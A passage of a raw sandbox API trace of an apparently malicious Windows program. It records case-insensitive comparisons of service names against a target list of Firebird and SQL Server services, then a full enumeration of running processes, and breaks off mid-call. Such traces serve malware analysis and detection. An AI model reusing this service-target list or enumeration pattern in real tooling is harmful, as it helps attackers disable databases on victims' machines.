[0164.125] lstrlenW (lpString="Power") returned 5 [0164.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.125] lstrlenW (lpString="ProfSvc") returned 7 [0164.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.125] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.125] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.125] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.125] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.125] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.126] lstrlenW (lpString="RpcSs") returned 5 [0164.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.126] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.126] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.126] lstrlenW (lpString="SamSs") returned 5 [0164.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.126] lstrlenW (lpString="Schedule") returned 8 [0164.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.126] lstrlenW (lpString="SecurityHealthService") returned 21 [0164.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0164.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0164.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0164.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0164.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0164.126] lstrlenW (lpString="SENS") returned 4 [0164.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.127] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.127] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.127] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.127] lstrlenW (lpString="Spooler") returned 7 [0164.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.134] lstrlenW (lpString="SSDPSRV") returned 7 [0164.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0164.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0164.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0164.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0164.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0164.134] lstrlenW (lpString="StateRepository") returned 15 [0164.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0164.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0164.157] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0164.157] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0164.157] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0164.157] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0164.161] Process32FirstW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.162] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.162] lstrlenW (lpString="System") returned 6 [0164.163] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.163] lstrlenW (lpString="smss.exe") returned 8 [0164.163] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.164] lstrlenW (lpString="csrss.exe") returned 9 [0164.164] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.165] lstrlenW (lpString="wininit.exe") returned 11 [0164.165] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.165] lstrlenW (lpString="csrss.exe") returned 9 [0164.165] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.166] lstrlenW (lpString="winlogon.exe") returned 12 [0164.166] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.167] lstrlenW (lpString="services.exe") returned 12 [0164.167] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.167] lstrlenW (lpString="lsass.exe") returned 9 [0164.167] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.168] lstrlenW (lpString="svchost.exe") returned 11 [0164.168] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0164.169] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0164.169] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0164.169] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0164.169] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.170] lstrlenW (lpString="svchost.exe") returned 11 [0164.170] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.171] lstrlenW (lpString="dwm.exe") returned 7 [0164.171] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.171] lstrlenW (lpString="svchost.exe") returned 11 [0164.171] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.172] lstrlenW (lpString="svchost.exe") returned 11 [0164.172] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.173] lstrlenW (lpString="svchost.exe") returned 11 [0164.173] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.173] lstrlenW (lpString="svchost.exe") returned 11 [0164.173] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.174] lstrlenW (lpString="svchost.exe") returned 11 [0164.174] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.175] lstrlenW (lpString="svchost.exe") returned 11 [0164.175] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.176] lstrlenW (lpString="svchost.exe") returned 11 [0164.176] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.176] lstrlenW (lpString="svchost.exe") returned 11 [0164.176] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.177] lstrlenW (lpString="svchost.exe") returned 11 [0164.177] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.178] lstrlenW (lpString="spoolsv.exe") returned 11 [0164.178] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.178] lstrlenW (lpString="svchost.exe") returned 11 [0164.178] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.179] lstrlenW (lpString="svchost.exe") returned 11 [0164.179] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.180] lstrlenW (lpString="audiodg.exe") returned 11 [0164.180] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0164.180] lstrlenW (lpString="sihost.exe") returned 10 [0164.181] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.181] lstrlenW (lpString="svchost.exe") returned 11 [0164.181] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0164.182] lstrlenW (lpString="taskhostw.exe") returned 13 [0164.182] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0164.183] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0164.183] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0164.183] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0164.183] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.184] lstrlenW (lpString="explorer.exe") returned 12 [0164.184] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0164.185] lstrlenW (lpString="Memory Compression") returned 18 [0164.185] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0164.185] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0164.185] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0164.186] lstrlenW (lpString="SearchUI.exe") returned 12 [0164.186] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0164.187] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0164.187] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0164.187] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0164.188] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0164.188] lstrlenW (lpString="taskhostw.exe") returned 13 [0164.188] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0164.189] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0164.189] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0164.190] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0164.190] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0164.190] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0164.190] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.368] lstrlenW (lpString="conhost.exe") returned 11 [0164.369] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0164.369] lstrlenW (lpString="screensaver.exe") returned 15 [0164.369] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0164.370] lstrlenW (lpString="upperarc.exe") returned 12 [0164.370] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0164.371] lstrlenW (lpString="buying.exe") returned 10 [0164.371] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0164.371] lstrlenW (lpString="downloadable.exe") returned 16 [0164.372] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0164.372] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0164.372] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0164.373] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0164.373] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0164.374] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0164.374] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0164.374] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0164.375] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0164.375] lstrlenW (lpString="moments.exe") returned 11 [0164.375] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0164.376] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0164.376] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0164.377] lstrlenW (lpString="stream-test.exe") returned 15 [0164.377] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0164.377] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0164.377] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0164.378] lstrlenW (lpString="taskhostw.exe") returned 